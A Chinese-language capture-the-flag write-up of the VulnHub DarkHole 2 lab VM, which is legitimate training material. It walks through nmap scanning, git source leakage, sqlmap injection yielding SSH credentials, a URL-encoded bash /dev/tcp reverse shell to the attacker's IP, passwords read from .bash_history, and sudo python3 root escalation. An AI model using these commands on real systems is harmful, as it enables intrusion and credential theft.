总体目标:
- 一月掌握渗透思路
本期内容:
靶场地址:https://www.vulnhub.com/entry/darkhole-2,740/
靶场截图:
- nmap、dirb等信息收集
- git源码泄露,发现账户密码
- sql注入发现ssh账户密码
- 查看用户历史命令记录,发现远程服务器提供的web服务(功能:远程命令执行)
- 执行历史命令,上传payload,获得losy的shell
- 查看用户历史命令记录,发现用户密码
- 建立ssh连接,python 执行提权代码
打靶时间:
- 2024.8.17
打靶记录:
信息收集
- nmap扫描 nmap -sP 192.168.178.0/24 由于默认 目标机 和 本机 在同一网段,我使用子网掩码24位(255.255.255.0) 从结果发现目标机IP 192.168.178.161
-
nmap进行端口、漏洞扫描 nmap -sS -script=vuln 192.168.178.161 目标机开放80 22端口,对应web服务和ssh服务。 同时,我发现了目标机发生了 git泄露。
漏洞利用--git泄露
- wget 下载源码
wget -r http://192.168.178.161/.git
结果以 192.168.178.161的文件夹形式 存在
-
git log 查看修改记录 如下图:发现a4d9 向login.php添加了默认凭证
-
切换到a4d9分支处
git checkout a4d9
遇到的错误表明你在切换到其他分支或提交时,本地工作区有未提交的更改,而这些更改会被新分支上的内容覆盖。Git 为了保护你的更改,阻止了这个操作。
-
解决办法:由于我没有进行修改本工作区,不进行提交修改保存,而是暂存起来。
git stash git checkout a4d9
第一条命令执行后,我发现 目录 新增了网站源码dashboard.php,如下图所示:这个我也没明白
-
命令执行完后,如下图:
-
cat login.php 查看代码,如下图:我发现了默认凭证 lush@admin.com 321
-
尝试登陆一下,访问http://192.168.178.161:80
-
发现url地址栏中 有参数 id , 也许我可以利用sql注入漏洞
漏洞利用--sql注入
- sqlmap进行自动注入,发现 id 造成了 基于延时注入sleep的盲注入漏洞。
sqlmap -u http://192.168.178.161/dashboard.php?id=3 --cookie PHPSESSID=ohtm5bgels9sk1kqq5739resm5 -a
发现了ssh表:用户名 jehad 密码 fool
权限提取
- 利用ssh服务,登陆johad账户
ssh jehad@192.168.178.161
以下是:sudo -i 提权;python提权 都失败了,我们需要寻找其他用户。
-
进行目录文件查看,发现敏感信息。
/home/kali/jehad
ls -la
发现 .bash_history
.bash_history
文件是 Bash shell 用来存储历史命令的文件。每当你在 Bash shell 中执行一个命令时,这个命令会被记录到.bash_history
文件中。 -
查看.bash_history内容:
ssh -L 127.0.0.1:9999:192.168.135.129:9999 jehad@192.168.135.129 curl http://localhost:9999 curl "http://localhost:999/?cmd=id" curl "http://localhost:9999/?cmd=id" 这些命令使用了 ssh 的端口转发功能。这是一种在 SSH 连接上通过指定的端口将流量从本地计算机转发到远程计算机的方式。你可以通过本地计算机的 127.0.0.1:9999 端口来测试或访问远程计算机上的服务,仿佛它们是在本地计算机上运行一样。 连接建立后,传递了cmd=id,很明显是通过web服务来执行远程命令。 我重复它的操作,来获得系统命令执行功能,为后续提权做准备。
-
模拟历史行为,建立具有端口转发功能的ssh连接。并通过web服务中的cmd参数执行提权命令。
ssh -L 9999:127.0.0.1:9999 jehad@192.168.178.161
curl "http://127.0.0.1:9999/?cmd=id" curl "http://127.0.0.1:9999/?cmd=whoami" curl "http://127.0.0.1:9999/?cmd=ifconfig"
以上三条命令正确执行,发现 远程执行使用的是 losy 用户,那我可以通过构造cmd参数的值,让losy用户反弹一个shell,我在特定端口监听,从而获得losy的shell,紧接着进行下一步提权。
-
http://127.0.0.1:9999/?cmd=payload payload为url编码,完成向本机特定端口反弹shell,其中 192.168.178.160/6666 是我的ip和port
bash -c 'bash -i >& /dev/tcp/192.168.178.160/6666 0>&1' payload:bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.178.160%2F6666%20%300%3E%261%27
如下图:执行
-
nc 在6666端口上监听,得到shell后,寻找losy密码,用于提权。
nc -nlvp 6666
寻找losy密码等敏感信息
/home/losy 路径下 输入 ls -la 发现.bash_history 查看内容发现密码gang
- 建立losy的ssh连接
- 在losy上进行提权,sudo -i 就不试了,一般不行。我发现了python3可以使用,我们使用pyhon代码来提权:sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
- 进入到root下,在/home的root.txt发现flag:Legend
总结:
·nmap 、git(git log git checkout ) 、 linux提权命令 、 python提权命令
·.bash_history文件
这次靶场主要是学习了文件,命令等基础知识。思路还是很简单的。